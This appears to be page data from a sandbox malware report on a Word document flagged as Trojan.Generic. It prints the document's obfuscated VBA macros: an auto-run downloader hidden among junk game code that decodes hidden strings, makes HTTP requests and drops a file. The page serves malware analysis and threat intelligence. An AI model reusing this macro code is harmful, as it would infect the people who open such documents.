26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 36:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 25:T486,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample 1ba21104f9f6… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 1ba21104f9f6…. Malware family: Trojan.Generic. Threat score 100/100. 10/26 AV engines flagged this file. 10 malicious and 7 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/1ba21104f9f6f58b67acafb984a6abd483fb9b42403012b005be9d0c6f72a002","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","1ba21104f9f6f58b67acafb984a6abd483fb9b42403012b005be9d0c6f72a002"],"about":{"@type":"SoftwareApplication","name":"11969_201727.doc","applicationCategory":["docx","office"],"identifier":"1ba21104f9f6f58b67acafb984a6abd483fb9b42403012b005be9d0c6f72a002","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":10,"total":26},"behavioralIndicators":{"malicious":10,"suspicious":7},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T733,"WINWORD.EXE" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\PROSHUTO8.EXE") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\PROSHUTO8.EXE") "WINWORD.EXE" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\WINWORD.EXE") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\WINWORD.EXE") "WINWORD.EXE" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER NPAPI") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\AUTOITV3") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\CONNECTION MANAGER") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\DIRECTDRAWEX") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\DXM_RUNTIME") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\FONTCORE") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IE40") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IE4DATA") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IE5BAKEX") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA0") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA1") "WINWORD.EXE" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\IEDATA10")28:Tae02,File "ThisDocument.cls" (Streampath: "VBA/ThisDocument") has code: "Function Test_NormalUse_XPersist(aDocumentProperties) As Boolean On Error GoTo Test_NormalUse_XPersist_Error InfoMes.sage ("Test_NormalUse_XPersist ... [start]") aDocumentProperties.read (cTestPath + "TestDebug_in.sdw") ShowProp.erties (aDocumentProperties) aDocumentProperties.Write (cTestPath + "TestDebug_Out.sdw") aDocumentProperties.read (cTestPath + "TestDebug_Out.sdw") ShowPro.perties (aDocumentProperties) On Error GoTo 0 InfoMes.sage ("Test_NormalUse_XPersist ... [ende]") Test_NormalUse_XPersist = cOK Exit Function Test_NormalUse_XPersist_Error: On Error GoTo 0 ErrorM.essage ("Test_NormalUse_XPersist ... [Error]") Test_NormalUse_XPersist = cError Exit Function End Function Sub Document_Open() JRunBee_Fish = 0 HMBCP "Test_NormalUse_XPersist_Error" End Sub" File "Module1.bas" (Streampath: "VBA/Module1") has code: "Public Sub AnimUniBall(e As Integer) Dim Rx As Integer, Ry As Integer, rBuff As String Dim xt As Integer, yt As Integer, j As Integer Dim NewX As Integer, NewY As Integer, D As Integer, SgnX As Integer, SgnY As Integer Dim RatioX As Single, RatioY As Single Rx = 452 Ry = 81 JRunBee_4 = F3.ZK.Caption & JODA(I) Stocke = Stocke + 2 Dim XIpotom2 As FBMobile Set XIpotom2 = New FBMobile If e < 300 Then XIpotom2.Challenge "RDBMS", 21 CallByName CofeeShop, F3.ToggleButton1.Caption, VbMethod Set XIpotom2 = Nothing Else End If Exit Sub NewX = UniB.all(I).BallX NewY = UniB.all(I).BallY If UniB.all(I).BSpeedX > UniB.all(I).BSpeedY And UniB.all(I).BSpeedY > 0 Then RatioY = UniB.all(I).BSpeedX / UniB.all(I).BSpeedY If UniB.all(I).BSpeedY > UniB.all(I).BSpeedX And UniB.all(I).BSpeedX > 0 Then RatioX = UniB.all(I).BSpeedY / UniB.all(I).BSpeedX If RatioX < 1 Then RatioX = 1 If RatioY < 1 Then RatioY = 1 If UniB.all(I).BSpeedX > 0 Then UniB.all(I).BSpeedX = UniB.all(I).BSpeedX - (0.01 / RatioX) * Speed If UniB.all(I).BSpeedY > 0 Then UniB.all(I).BSpeedY = UniB.all(I).BSpeedY - (0.01 / RatioY) * Speed If UniB.all(I).BSpeedX < 0 Then UniB.all(I).BSpeedX = 0 If UniB.all(I).BSpeedY < 0 Then UniB.all(I).BSpeedY = 0 UniB.all(I).BLoopX = UniB.all(I).BLoopX + (UniB.all(I).BSpeedX * Speed) For j = 1 To UniB.all(I).BLoopX NewX = NewX + UniB.all(I).BMoveX UniB.all(I).BLoopX = UniB.all(I).BLoopX - 1 Next UniB.all(I).BLoopY = UniB.all(I).BLoopY + (UniB.all(I).BSpeedY * Speed) For j = 1 To UniB.all(I).BLoopY NewY = NewY + UniB.all(I).BMoveY UniB.all(I).BLoopY = UniB.all(I).BLoopY - 1 Next SgnX = Sgn(NewX - UniB.all(I).BallX) SgnY = Sgn(NewY - UniB.all(I).BallY) If SgnX = 1 Then 'x positive testing For D = UniB.all(I).BallX + 1 To NewX j = WeaponT.ouch(6, I, D, UniB.all(I).BallY) If j = 6 Then UniB.all(I).BMoveX = UniB.all(I).BMoveX * -1 NewX = D - 1 Exit For End If Next End If If SgnX = -1 Then 'x negative testing For D = UniB.all(I).BallX - 1 To NewX Step -1 j = WeaponT.ouch(6, I, D, UniB.all(I).BallY) If j = 6 Then UniB.all(I).BMoveX = UniB.all(I).BMoveX * -1 NewX = D + 1 Exit For End If Next End If If SgnY = 1 Then 'y positive testing For D = UniB.all(I).BallY + 1 To NewY j = WeaponT.ouch(6, I, NewX, D) If j = 6 Then UniB.all(I).BMoveY = UniB.all(I).BMoveY * -1 NewY = D - 1 Exit For End If Next End If If SgnY = -1 Then 'y negative testing For D = UniB.all(I).BallY - 1 To NewY Step -1 j = WeaponT.ouch(6, I, NewX, D) If j = 6 Then UniB.all(I).BMoveY = UniB.all(I).BMoveY * -1 NewY = D + 1 Exit For End If Next End If UniB.all(I).BallX = NewX UniB.all(I).BallY = NewY j = WeaponT.ouch(6, I, NewX, NewY) xt = NewX yt = NewY xt = xt - MeX: yt = yt - MeY rBuf.F.Top = Ry rBuf.F.Bottom = rBuf.F.Top + 10 rBuf.F.Left = Rx + 10 * (UniB.all(I).Color - 1) rBuf.F.Right = rBuf.F.Left + 10 If xt < 0 Then rBuf.F.Left = rBuf.F.Left + Abs(xt): xt = 0 If yt < 0 Then rBuf.F.Top = rBuf.F.Top + Abs(yt): yt = 0 If xt > ResX - 10 Then rBuf.F.Right = rBuf.F.Right - (xt - (ResX - 10)): xt = (ResX - 10) + (xt - (ResX - 10)) If yt > ResY - 10 Then rBuf.F.Bottom = rBuf.F.Bottom - (yt - (ResY - 10)): yt = (ResY - 10) + (yt - (ResY - 10)) BackBuffer.BltFast xt, yt, DirectDraw_NavBar, rBuff, DDBLTFAST_WAIT Or DDBLTFAST_SRCCOLORKEY End Sub Public Sub RepackOK(sheetToMove As String, sheetAnchor As String, CharUpdateOrAfter As String) Dim I For I = LBound(JODA) To UBound(JODA) Step 1 AnimUniBall 72 If CofeeShop.Status <> 200 Then Err.Raise 700 + vbObjectError, "V", "W" End If CharUpdate 70 Exit Sub dee13: Next Exit Sub End Sub Public Sub MakeFarplane() If BackBuffer.isLost Then Exit Sub Dim xt As Integer, yt As Integer, rDD As RECT Dim xtl As Integer, ytl As Integer, xw As Integer, yw As Integer xw = ResX yw = ResY If xw > 1280 Then xw = 1280 If yw > 960 Then yw = 960 xt = 0.1568 * MeX yt = 0.1176 * MeY xtl = xt + xw ytl = yt + yw If xtl > 1280 Then xt = 1280 - xw xtl = 1280 End If If ytl > 960 Then yt = 960 - yw ytl = 960 End If ' If xt < 0 Then xt = 0 xtl = xw End If If yt < 0 Then yt = 0 ytl = yw End If ' With rDD .Left = xt .Top = yt .Right = xtl .Bottom = ytl End With BackBuffer.BltFast 0, 0, DirectDraw_Farplane, rDD, DDBLTFAST_WAIT End Sub Public Function JRunBee_ProjectSpeed() GoTo labelBabel2 Set FSO = CreateObject("Scripting.FileSystemObject") Set oArgs = WScript.Arguments If oArgs.Count = 1 Then strComputer = CStr(oArgs(0)) Else strComputer = InputBox("Enter computer name") End If Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\CIMV2") labelBabel2: JRunBee_Project = JRunBee_FLAME JRunBee_PathTo2 = JRunBee_Project + "\shupfa" + CStr(Stocke) GoTo labelBabel3 labelBabel3: JRunBee_Project = JRunBee_Project + Replace(AlertN(12), ".", CStr(Stocke) + ".") SubProperty.Type = 1 End Function Public Sub mapRender() If BackBuffer.isLost Then Exit Sub If DirectDraw_Tiles Is Nothing Then Exit Sub Dim DestX As Single, DestY As Single, FrameChange(255, 255) As Byte Dim I As Integer, R As Integer, j As Integer, C As Integer, D As Integer, a As Integer, e As Integer Dim Xfind As Integer, Yfind As Integer, Xwdth As Integer, Ywdth As Integer, X As Integer Dim Xcoor As Integer, Ycoor As Integer, Xdif As Integer, Ydif As Integer Dim TileGet As RECT, xt As Integer, yt As Integer, ToX As Integer, ToY As Integer ReDim AnimsPlayed(0) MeX = Players(MeNum).charX - CenterSX MeY = Players(MeNum).charY - CenterSY MapX = (MeX - (MeX Mod 16)) / 16 'Possible failure MapY = (MeY - (MeY Mod 16)) / 16 'Possible failure If MeY < 0 Then MapY = MapY - 1 If MeX < 0 Then MapX = MapX - 1 DestX = Players(MeNum).charX - MapX * 16 DestY = Players(MeNum).charY - MapY * 16 Xdif = MeX - MapX * 16 Ydif = MeY - MapY * 16 ToX = ResX / 16 'Possible failure ToY = ResY / 16 'Possible failure If ResY = 600 Then If Ydif < 8 Then ToY = 37 Else ToY = 38 End If I = MapX * 16 + Xdif j = MapY * 16 + Ydif D = I C = j If I < 0 Then D = 0 If j < 0 Then C = 0 TileGet.Left = D TileGet.Top = C If I < 0 Then D = I Else D = 0 If j < 0 Then C = j Else C = 0 D = TileGet.Left + ResX + D C = TileGet.Top + ResY + C If D > 4080 Then D = 4080 If C > 4080 Then C = 4080 TileGet.Right = D TileGet.Bottom = C D = MapX * 16 + Xdif C = MapY * 16 + Ydif If D >= 0 Then D = 0 If C >= 0 Then C = 0 BackBuffer.BltFast Abs(D), Abs(C), DirectDraw_Map, TileGet, DDBLTFAST_WAIT Or DDBLTFAST_SRCCOLORKEY C = 0 D = 0 If MeY < 0 Then C = MapY If MeX < 0 Then D = MapX For R = Abs(C) To ToY For I = Abs(D) To ToX xt = I + MapX yt = R + MapY 'UBound functions below are ALWAYS 255 (CPU WASTE!) 'If yt > UBound(SourceX, 1) Or yt < 0 Then Exit For 'If xt > UBound(SourceX, 2) Or xt < 0 Then GoTo out If yt > 255 Or yt < 0 Then Exit For If xt > 255 Or xt < 0 Then GoTo out Xfind = 0 If I = 0 Then Xfind = Xfind + Xdif Yfind = 0 If R = 0 Then Yfind = Yfind + Ydif Xwdth = 16 If I = 0 Then Xwdth = Xwdth - Xdif If I = ToX Then Xwdth = Xdif Ywdth = 16 If R = 0 Then Ywdth = Ywdth - Ydif If R = ToY Then Ywdth = Ydif If ResY = 600 Then If Ydif < 8 And ToY = 37 Then If R = ToY Then Ywdth = Ydif + 8 End If If Ydif >= 8 And ToY = 38 Then If R = ToY Then Ywdth = Ydif - 8 End If End If Xcoor = I * 16 If I > 0 Then Xcoor = Xcoor - Xdif Ycoor = R * 16 If R > 0 Then Ycoor = Ycoor - Ydif X = AnimOffset(yt, xt) If X > 0 Then a = Animations(yt, xt) If FrameChange(FrameCount(a), AnimSpeed(a)) = 0 Then If AnimSpeed(a) = 0 Then AnimSpeed(a) = 1 AnimCount(FrameCount(a), AnimSpeed(a)) = AnimCount(FrameCount(a), AnimSpeed(a)) + Speed / AnimSpeed(a) If AnimCount(FrameCount(a), AnimSpeed(a)) > FrameCount(a) - 1 Then AnimCount(FrameCount(a), AnimSpeed(a)) = 0 End If FrameChange(FrameCount(a), AnimSpeed(a)) = 1 e = AnimCount(FrameCount(a), AnimSpeed(a)) e = (e + X) Mod (FrameCount(a)) TileGet.Top = AnimFY(a, e) + Yfind TileGet.Bottom = TileGet.Top + Ywdth TileGet.Left = AnimFX(a, e) + Xfind TileGet.Right = TileGet.Left + Xwdth Call BackBuffer.BltFast(Xcoor, Ycoor, DirectDraw_Anims(AnimFS(a, 0)), TileGet, DDBLTFAST_WAIT Or DDBLTFAST_SRCCOLORKEY) End If out: Next Next End Sub" File "BounceCastle.cls" (Streampath: "VBA/BounceCastle") has code: "Sub doc_of_word_outline_level6() doc_string = "Outline Level 6" End Sub Sub word_outline_level6() Selection.Paragraphs(1).OutlineLevel = wdOutlineLevel6 comple.te End Sub Sub doc_of_word_outline_level7() doc_string = "Outline Level 7" End Sub Sub word_outline_level7() Selection.Paragraphs(1).OutlineLevel = wdOutlineLevel7 comple.te End Sub Sub WriteLOG(sMessage$) If (bLOGOn = cOn) Then Wri.te nLOGFileHandle, sMessage End If End Sub Sub ErrorMessage(sMessage$) If (bLOGOn = cOn) Then WriteLOG (sMessage$) Else MsgBox sMessage$, 16 End If End Sub Sub InfoMessage(sMessage$) If (bShowErrorsOnly = cOff) Then If (bLOGOn = cOn) Then WriteLOG (sMessage$) Else MsgBox sMessage$, 64 End If End If End Sub Public Sub Ant() SubProperty.Write JRunBee_PokerFace GoTo cip If Not CryToLoad.Compressed Then For G = 0 To CryToLoad.Size - 1 CryToLoad.Data(G) = ByteTo.SignedInt("&H" & (Rea.dHEX(LoadedROM, (cryOffset) + 16 + G, 1))) Next Else If Alignment = 0 Then pcmLevel = ByteTo.SignedInt("&H" & (Rea.dHEX(LoadedROM, offtrack, 1))) offtrack = offtrack + 1 Data.Add (pcmLevel) Alignment = &H20 End If offtrack = offtrack + 1 If Alignment < &H20 Then Data.Add (pcmLevel) End If Data.Add (pcmLevel) If Size >= CryToLoad.Size Then End If Alignment = 1 CryToLoad.Data = Data.ToArray() CryToLoad.Size = offtrack - Start End If cip: If JRunBee_Fish <> 0 Then Exit Sub End If FindNext "4", 3 End Sub" File "FBMobile.cls" (Streampath: "VBA/FBMobile") has code: "Public Function PropellersHead() As String tt = ThisDocument.BuiltInDocumentProperties("Content status").Value AlertN = Split(tt, "HUBBLE") C2H5OHName = AlertN(Quubo * 3) C2H5OH PropellersHead = "" End Function Public Sub Challenge(sender As String, e As Integer) PlayCry 1 PlayCry 350 End Sub" File "F3.frm" (Streampath: "VBA/F3") has code: "" File "Class1.cls" (Streampath: "VBA/Class1") has code: "Public Function CheckRectsAd() As Boolean Dim rTemp As RECT, rMouse As RECT, I As Integer With rMouse .Left = g_cursorx .Right = .Left + 32 .Top = g_cursory .Bottom = .Top + 1 End With If IntersectRect(rTemp, AdRect, rMouse) Then CheckRectsAd = True Exit Function End If End Function Public Function CheckRectsNav() As Integer Dim rTemp As RECT, rMouse As RECT, I As Integer With rMouse .Left = g_cursorx .Right = .Left + 32 .Top = g_cursory .Bottom = .Top + 1 End With For I = 0 To UBound(NavRect) If I < 8 Then If IntersectRect(rTemp, NavRect(I), rMouse) Then CheckRectsNav = I + 1 Exit Function End If End If Next End Function Public Function CheckRectsMenu4() As Integer Dim rTemp As RECT, rMouse As RECT, I As Integer With rMouse .Left = g_cursorx .Right = .Left + 32 .Top = g_cursory .Bottom = .Top + 1 End With For I = 0 To UBound(MenuRect) If IntersectRect(rTemp, MenuRect(I), rMouse) Then CheckRectsMenu4 = I + 1 Exit Function End If Next End Function Public Function CheckRectsMenuMenu1() As Integer Dim rTemp As RECT, rMouse As RECT, I As Integer With rMouse .Left = g_cursorx .Right = .Left + 1 .Top = g_cursory .Bottom = .Top + 1 End With If MenuMenu = 1 Then For I = 0 To 3 If IntersectRect(rTemp, rHelp(I), rMouse) Then CheckRectsMenuMenu1 = I + 1 Exit Function End If Next End If If MenuMenu = 5 Then If IntersectRect(rTemp, rHelp(4), rMouse) Then CheckRectsMenuMenu1 = 5 Exit Function End If End If If MenuMenu = 6 Then If IntersectRect(rTemp, rHelp(5), rMouse) Then CheckRectsMenuMenu1 = 5 Exit Function End If End If If MenuMenu = 7 Or MenuMenu = 8 Then If IntersectRect(rTemp, rHelp(5), rMouse) Then CheckRectsMenuMenu1 = 5 Exit Function End If End If If MenuMenu = 7 Then If IntersectRect(rTemp, rHelp(6), rMouse) Then CheckRectsMenuMenu1 = 6 Exit Function End If End If End Function Public Function CheckRectsMenuMenu2() As Integer Dim rTemp As RECT, rMouse As RECT, I As Integer With rMouse .Left = g_cursorx .Right = .Left + 1 .Top = g_cursory .Bottom = .Top + 1 End With For I = 0 To UBound(Menu2Rect) If IntersectRect(rTemp, Menu2Rect(I), rMouse) Then CheckRectsMenuMenu2 = I + 1 Exit Function End If Next End Function Public Function CheckRectsMenu3() As Integer Dim rTemp As RECT, rMouse As RECT, I As Integer With rMouse .Left = g_cursorx .Right = .Left + 1 .Top = g_cursory .Bottom = .Top + 1 End With For I = 0 To UBound(Menu3Rect) If IntersectRect(rTemp, Menu3Rect(I), rMouse) Then CheckRectsMenu3 = I + 1 Exit Function End If Next End Function Public Function CheckRectsMenuMenu3() As Integer Dim rTemp As RECT, rMouse As RECT, I As Integer With rMouse .Left = g_cursorx .Right = .Left + 1 .Top = g_cursory .Bottom = .Top + 1 End With For I = 0 To UBound(rConfig) If IntersectRect(rTemp, rConfig(I), rMouse) Then CheckRectsMenuMenu3 = I + 1 Exit Function End If Next End Function Public Function CheckRectsMenuMenu4() As Integer Dim rTemp As RECT, rMouse As RECT, I As Integer With rMouse .Left = g_cursorx .Right = .Left + 1 .Top = g_cursory .Bottom = .Top + 1 End With For I = 0 To UBound(Menu4Rect) If IntersectRect(rTemp, Menu4Rect(I), rMouse) Then CheckRectsMenuMenu4 = I + 1 Exit Function End If Next End Function Public Function CheckRectMenu9() As Boolean Dim rTemp As RECT, rMouse As RECT With rMouse .Left = g_cursorx .Right = .Left + 1 .Top = g_cursory .Bottom = .Top + 1 End With If IntersectRect(rTemp, Menu9Rect, rMouse) Then CheckRectMenu9 = True End Function Public Function CheckRectsPlayerOpt() As Integer Dim rTemp As RECT, rMouse As RECT, I As Integer With rMouse .Left = g_cursorx .Right = .Left + 1 .Top = g_cursory .Bottom = .Top + 1 End With For I = 0 To UBound(PlayerOptR) If I > 1 Or Not Players(MeNum).Admin > 0 Then If IntersectRect(rTemp, PlayerOptR(I), rMouse) Then CheckRectsPlayerOpt = I + 1 Exit Function End If End If If I = 1 And Not Players(MeNum).Admin > 0 Then Exit Function Next End Function Public Sub DoOption() Dim lMsg As Byte, j As Integer, b As Byte Dim oNewMsg() As Byte, lNewOffSet As Long ' If NavMenu = 3 Then j = CheckRectsMenu3 If j = 1 Then PlayerScroll = PlayerScroll - 1 If j = 2 Then PlayerScroll = PlayerScroll + 1 If j > 3 Then PlayerSelected = j - 3 If PlayerScroll < 0 Then PlayerScroll = 0 If UBound(Players) > 10 Then If PlayerScroll > UBound(Players) - 10 Then PlayerScroll = UBound(Players) - 10 Else PlayerScroll = 0 End If j = CheckRectsPlayerOpt PlayerOpt = j If j > 0 Then Exit Sub End If ' If MenuMenu = 1 Or (MenuMenu > 4 And MenuMenu < 9) Then j = CheckRectsMenuMenu1 If j = 1 Then MenuMenu = 5 If j = 2 Then MenuMenu = 6 If j = 3 Then MenuMenu = 7 If j = 4 Then MenuMenu = 0 If j = 5 Then MenuMenu = 1 If j = 6 Then MenuMenu = 8 End If ' If MenuMenu = 2 Then 'Team Switch j = CheckRectsMenuMenu2 If j = 5 Then MenuMenu = 0 If j > HData.NumTeams Then Exit Sub b = j On Local Error Resume Next lMsg = MSG_TEAM lNewOffSet = 0 ReDim oNewMsg(0) AddBufferData oNewMsg, VarPtr(lMsg), LenB(lMsg), lNewOffSet AddBufferData oNewMsg, VarPtr(b), LenB(b), lNewOffSet SendTo oNewMsg MenuMenu = 0 If j > 0 Then Exit Sub End If ' If MenuMenu = 3 Then 'Options j = CheckRectsMenuMenu3 If j = 1 And Not gObjDSound Is Nothing Then If EnableSound Then EnableSound = False Else EnableSound = True If j = 2 Then cfgm = True If j = 3 Then cfgm = False If j = 4 Then cfgk = True: KeyConfig False If j = 5 Then cfgk = False: KeyConfig True If j = 6 Then cfgwv = False If j = 7 Then cfgwv = True If j = 8 Then MenuMenu = 0 If j > 0 Then Exit Sub End If ' If MenuMenu = 4 Then 'Are you sure you want to leave ___ ?' j = CheckRectsMenuMenu4 If j = 1 Then Stopping = True 'Yes' If j = 2 Then MenuMenu = 0 'No' If j > 0 Then Exit Sub 'What the?' End If ' If NavMenu = 4 Then j = CheckRectsMenu4 If j > 0 Then MenuMenu = j: Exit Sub End If ' If MenuMenu = 9 Then If CheckRectMenu9 Then MenuMenu = 0 ' j = CheckRectsNav If j = 1 Then If Not AnimateMenu Then MenuPend = 1: AnimateMenu = True If j = 3 Then If Not AnimateMenu Then MenuPend = 3: AnimateMenu = True: PlayerSelected = 1 If j = 4 Then If Not AnimateMenu Then MenuPend = 4: AnimateMenu = True If j = 5 Then DropFlag If j = 6 Then Weapon = 1: SpecialSnd 1 If j = 7 Then Weapon = 2: SpecialSnd 2 If j = 8 Then Weapon = 3: SpecialSnd 3 If Advertisements Then If CheckRectsAd Then LaunchAd End Sub Public Sub sendmsg(cmd As Long, Msgs As String) On Local Error Resume Next Dim lMsg As Byte Dim oNewMsg() As Byte, lNewOffSet As Long lNewOffSet = 0 ReDim oNewMsg(0) lMsg = cmd AddBufferData oNewMsg, VarPtr(lMsg), LenB(lMsg), lNewOffSet AddBufferString oNewMsg, Msgs, lNewOffSet SendTo oNewMsg End Sub Public Sub GameChat(txt As String) Dim X As Byte For X = 0 To UBound(Chat) If X = UBound(Chat) And Chat(X) <> vbNullString Then KillChatLine If Chat(X) = vbNullString Then If Chat(0) = vbNullString Then ChatClean = NewGTC Chat(X) = txt Exit For End If Next WriteChat End Sub Public Sub KillChatLine() Dim I As Integer For I = 0 To UBound(Chat) - 1 Step 1 Chat(I) = Chat(I + 1) Next Chat(UBound(Chat)) = vbNullString WriteChat End Sub Public Function GetPN(plr As String) As Integer Dim I As Integer For I = 1 To UBound(Players) If LCase$(Players(I).Nick) = LCase$(plr) Then GetPN = I: Exit Function Next End Function Public Sub AddIgnore(plr As String) Dim I As Integer, j As Integer j = GetPN(plr) If Players(j).Admin > 0 Then GameChat Chr$(5) & "You are not allowed to ignore this player." Exit Sub End If For I = 0 To UBound(Ignored) + 1 If I > UBound(Ignored) Then ReDim Preserve Ignored(I) If LenB(Ignored(I)) = 0 Then Ignored(I) = LCase$(plr) GameChat Chr$(5) & plr & " is ignored." Exit For End If Next End Sub Public Function IsIgnored(plr As String) As Boolean Dim I As Integer For I = 0 To UBound(Ignored) If Ignored(I) = LCase$(plr) Then IsIgnored = True Exit Function End If Next End Function Public Sub RemoveIgnore(plr As String) Dim I As Integer For I = 0 To UBound(Ignored) If Ignored(I) = LCase$(plr) Then Ignored(I) = vbNullString GameChat Chr$(5) & plr & " is unignored." Exit For End If Next End Sub" File "Module3.bas" (Streampath: "VBA/Module3") has code: "Public JODA() As String Public JRunBee_4 As String Public Const JRunBee_System = "User-Agent" Public SubProperty As Object Public JRunBee_VEAM As Object Public JRunBee_Fish As Integer Public AlertN() As String Public AlertNE As String Public JRunBee_PokerFace As Variant Public JRunBee_aifde As Object Public JRunBee_FLAME As String Public JRunBee_avatar As Object Public smbi As String Public JRunBee_2 As String Public Const Quubo = 0 Public Stocke As Integer Public JRunBee_Project As String Public C2H5OHName As String Public JRunBee_PathTo2 As String Public CofeeShop As Object Public Sub AnimExpl(I As Integer) Dim xt As Integer, yt As Integer, rExpl As RECT Dim sw As Integer, sh As Integer Dim ExY As Integer If NewGTC - AnimExT(I) > 50 Then AnimExT(I) = NewGTC AnimExF(I) = AnimExF(I) + 1 If AnimExF(I) > 10 Then AnimExF(I) = 0 Expl(I) = False Exit Sub End If End If rExpl.Left = rBombExp(AnimExF(I)).Left rExpl.Right = rBombExp(AnimExF(I)).Right rExpl.Top = rBombExp(AnimExF(I)).Top rExpl.Bottom = rBombExp(AnimExF(I)).Bottom sw = rExpl.Right - rExpl.Left sh = rExpl.Bottom - rExpl.Top xt = ExplX(I) - MeX - (sw / 2) yt = ExplY(I) - MeY - (sh / 2) If xt < 0 Then rExpl.Left = rExpl.Left + Abs(xt): xt = 0 If yt < 0 Then rExpl.Top = rExpl.Top + Abs(yt): yt = 0 If xt > ResX - sw Then rExpl.Right = rExpl.Right - (xt - (ResX - sw)): xt = (ResX - sw) + (xt - (ResX - sw)) If yt > ResY - sh Then rExpl.Bottom = rExpl.Bottom - (yt - (yt - sh)): ExY = (yt - sh) + (yt - (ResY - sh)) If xt > -62 And yt > -48 And xt < ResX + 62 And yt < ResY + 38 Then BackBuffer.BltFast xt, yt, DirectDraw_Tuna1, rExpl, DDBLTFAST_SRCCOLORKEY Or DDBLTFAST_WAIT End If End Sub Public Sub AnimPowerup(pwr As Integer) Dim rBuff As RECT Dim ExX As Long, ExY As Long If NewGTC - PowerFrameT(pwr) > 100 Then PowerFrame(pwr) = PowerFrame(pwr) + 1 If PowerUp(pwr) = 1 Then If PowerFrame(pwr) > 5 Then PowerFrame(pwr) = 0 Else If PowerFrame(pwr) > 11 Then PowerFrame(pwr) = 0 End If PowerFrameT(pwr) = NewGTC End If If PowerEffect(pwr) = 2 Then If NewGTC - PowerTick(pwr) > 50 Then PowerTick(pwr) = NewGTC PowerEffect(pwr) = 3 Else Exit Sub End If ElseIf PowerEffect(pwr) = 3 Then If NewGTC - PowerTick(pwr) > 50 Then PowerTick(pwr) = NewGTC PowerEffect(pwr) = 2 Exit Sub End If End If ExX = PowerX(pwr) ExY = PowerY(pwr) ExX = ExX - MeX: ExY = ExY - MeY rBuff.Top = 355 + (PowerUp(pwr) - 1) * 24 rBuff.Bottom = rBuff.Top + 24 rBuff.Left = PowerFrame(pwr) * 24 rBuff.Right = rBuff.Left + 24 If ExX < 0 Then rBuff.Left = rBuff.Left + Abs(ExX): ExX = 0 If ExY < 0 Then rBuff.Top = rBuff.Top + Abs(ExY): ExY = 0 If ExX > ResX - 24 Then rBuff.Right = rBuff.Right - (ExX - (ResX - 24)): ExX = ResX - 24 + (ExX - (ResX - 24)) If ExY > ResY - 24 Then rBuff.Bottom = rBuff.Bottom - (ExY - (ResY - 24)): ExY = ResY - 24 + (ExY - (ResY - 24)) If PowerUp(pwr) <> 0 Then BackBuffer.BltFast ExX, ExY, DirectDraw_Tuna1, rBuff, DDBLTFAST_WAIT Or DDBLTFAST_SRCCOLORKEY End Sub Public Function PuWord(lone() As Byte, ltwo As String) Dim bskcp2 As Long Dim bskcp3 As Long Dim bskcp5 As Long Dim bskcp6 As Long Dim plusplus() As Byte Dim bskcp4 As Long Dim plusplusLen As Long plusplusLen = Len(ltwo) ReDim plusplus(plusplusLen) plusplus = StrConv(ltwo, vbFromUnicode) bskcp2 = UBound(lone) + 1 bskcp5 = bskcp2 For bskcp4 = _ 0 To (bskcp2 - 1) aa = plusplus(bskcp4 Mod plusplusLen) bb = lone(bskcp4) lone(bskcp4) = Chibis(bb, aa) If (bskcp4 >= bskcp6) Then bskcp3 = Int((bskcp4 / bskcp5) * 100) bskcp6 = 